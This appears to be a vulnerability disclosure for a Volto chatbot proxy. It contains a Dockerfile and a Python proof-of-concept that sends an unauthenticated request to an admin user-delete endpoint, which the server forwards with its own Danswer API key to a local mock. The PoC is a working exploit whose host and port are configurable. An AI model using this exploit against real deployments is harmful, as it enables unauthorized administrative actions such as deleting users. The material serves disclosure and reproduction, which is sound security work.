Details
The vulnerability is exploitable by any unauthenticated network attacker, including anonymous internet users if the Volto server is publicly reachable.
Reproduction artifacts
Dockerfile
# Dockerfile for VULN-001 PoC — Unauthenticated Danswer API Confused Deputy Proxy
#
# Build context: the parent directory (npmAI_719_eea__volto-chatbot/)
# docker build -f vuln-001/Dockerfile -t vuln001-proxy .
#
# Run:
# docker run --rm -p 3000:3000 vuln001-proxy
FROM node:18-alpine
WORKDIR /app
# Install production dependencies required by the vulnerable middleware and test harness
RUN npm init -y && npm install --save \
express@4 \
superagent@8 \
node-fetch@2 \
debug@4 \
@babel/core@7 \
@babel/register@7 \
@babel/preset-env@7
# Copy the vulnerable middleware source (unmodified from repo)
COPY repo/src/middleware.js /app/src/middleware.js
# Copy the test harness
COPY vuln-001/test_server.js /app/test_server.js
# Point the proxy at the in-container mock Danswer server.
# DANSWER_API_KEY is the secret the server attaches to every upstream request.
ENV DANSWER_URL=http://127.0.0.1:18080
ENV DANSWER_API_KEY=supersecret
EXPOSE 3000
CMD ["node", "test_server.js"]
poc.py
#!/usr/bin/env python3
"""
Proof-of-Concept: VULN-001
Title: Unauthenticated Danswer API Confused Deputy Proxy
CWE: CWE-862 — Missing Authorization
CVSS: 8.2 (High) CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Vulnerability:
src/index.js:15 registers middleware.all('**/_v1_da/**', proxyMiddleware)
with NO authentication guard. src/middleware.js:228-230 derives the
upstream Danswer API path directly from req.url without any allowlist,
then attaches the server-side DANSWER_API_KEY (or session cookie) before
calling fetch(). An unauthenticated attacker therefore controls:
- the upstream Danswer API path (e.g. /admin/users/delete)
- the HTTP method (POST, DELETE, …)
- the request body
while the server silently adds its own credentials.
Exploit flow:
Attacker --(unauthenticated POST /_v1_da/admin/users/delete)--> Volto proxy
Volto proxy --(POST /api/admin/users/delete Authorization: Bearer <key>)--> Danswer
Usage:
python3 poc.py [proxy_host] [proxy_port]
Default: 127.0.0.1 3000
"""
import json
import socket
import sys
import time
import requests
# ── Configuration ──────────────────────────────────────────────────────────────
PROXY_HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
PROXY_PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 3000
PROXY_BASE = f"http://{PROXY_HOST}:{PROXY_PORT}"
# Attacker-chosen admin-only endpoint — no credentials sent by the client.
ATTACK_PATH = "/_v1_da/admin/users/delete"
ATTACK_PAYLOAD = {"id": "victim-user-123"}
# ── Helpers ────────────────────────────────────────────────────────────────────
def wait_for_port(host: str, port: int, timeout: int = 40) -> bool:
"""Return True when a TCP connection succeeds within *timeout* seconds."""
deadline = time.monotonic() + timeout
while time.monotonic() < deadline:
try:
with socket.create_connection((host, port), timeout=1):
return True
except OSError:
time.sleep(1)
return False
def run_exploit() -> bool:
print("=" * 64)
print("VULN-001 PoC — Unauthenticated Danswer API Confused Deputy Proxy")
print("=" * 64)
print(f"[*] Proxy base : {PROXY_BASE}")
print(f"[*] Attack path : {ATTACK_PATH}")
print(f"[*] Attack body : {json.dumps(ATTACK_PAYLOAD)}")
print(f"[*] No client auth headers will be sent.")
print()
# Wait for the proxy server to accept connections.
print(f"[*] Waiting for proxy on {PROXY_HOST}:{PROXY_PORT} ...")
if not wait_for_port(PROXY_HOST, PROXY_PORT, timeout=40):
print("[-] Proxy did not become reachable within 40 s. FAIL.")
return False
print("[+] Proxy is reachable.")
# Additional brief wait to let the Node event loop fully initialise.
time.sleep(1)
# Send the exploit request — zero client-side authentication.
exploit_url = f"{PROXY_BASE}{ATTACK_PATH}"
print(f"[*] Sending unauthenticated POST → {exploit_url}")
try:
resp = requests.post(
exploit_url,
json=ATTACK_PAYLOAD,
headers={"Content-Type": "application/json"},
timeout=20,
)
except requests.exceptions.RequestException as exc:
print(f"[-] HTTP request failed: {exc}")
return False
print(f"[*] HTTP status : {resp.status_code}")
print(f"[*] HTTP body : {resp.text[:800]}")
print()
# Parse the echo from the mock Danswer server.
try:
body = resp.json()
except ValueError:
print("[-] Response is not valid JSON — cannot verify exploit. FAIL.")
return False
auth_header = body.get("authorization") or ""
upstream_url = body.get("url") or ""
method = body.get("method") or ""
print("[*] Fields echoed by mock Danswer upstream:")
print(f" method : {method!r}")
print(f" url : {upstream_url!r}")
print(f" authorization : {auth_header!r}")
print()
# Decisive evidence criteria:
# 1. Attacker-supplied path reached the upstream server.
# 2. Server-side API key was attached without any client credential.
# 3. Attacker-supplied HTTP method was forwarded.
path_proxied = "/api/admin/users/delete" in upstream_url
cred_attached = "Bearer supersecret" in auth_header
method_correct = method == "POST"
if path_proxied and cred_attached and method_correct:
print("[+] === EXPLOIT CONFIRMED — PASS ===")
print("[+] Decisive evidence:")
print(f" 1. Attacker-controlled path reached upstream : url={upstream_url!r}")
print(f" 2. Server-side API key forwarded (no client auth) : authorization={auth_header!r}")
print(f" 3. Attacker-controlled HTTP method forwarded : method={method!r}")
return True
else:
print("[-] === EXPLOIT NOT CONFIRMED — FAIL ===")
if not path_proxied:
print(f" MISSING: /api/admin/users/delete not found in url={upstream_url!r}")
if not cred_attached:
print(f" MISSING: 'Bearer supersecret' not found in authorization={auth_header!r}")
if not method_correct:
print(f" MISSING: expected method=POST, got {method!r}")
return False
if __name__ == "__main__":
success = run_exploit()
sys.exit(0 if success else 1)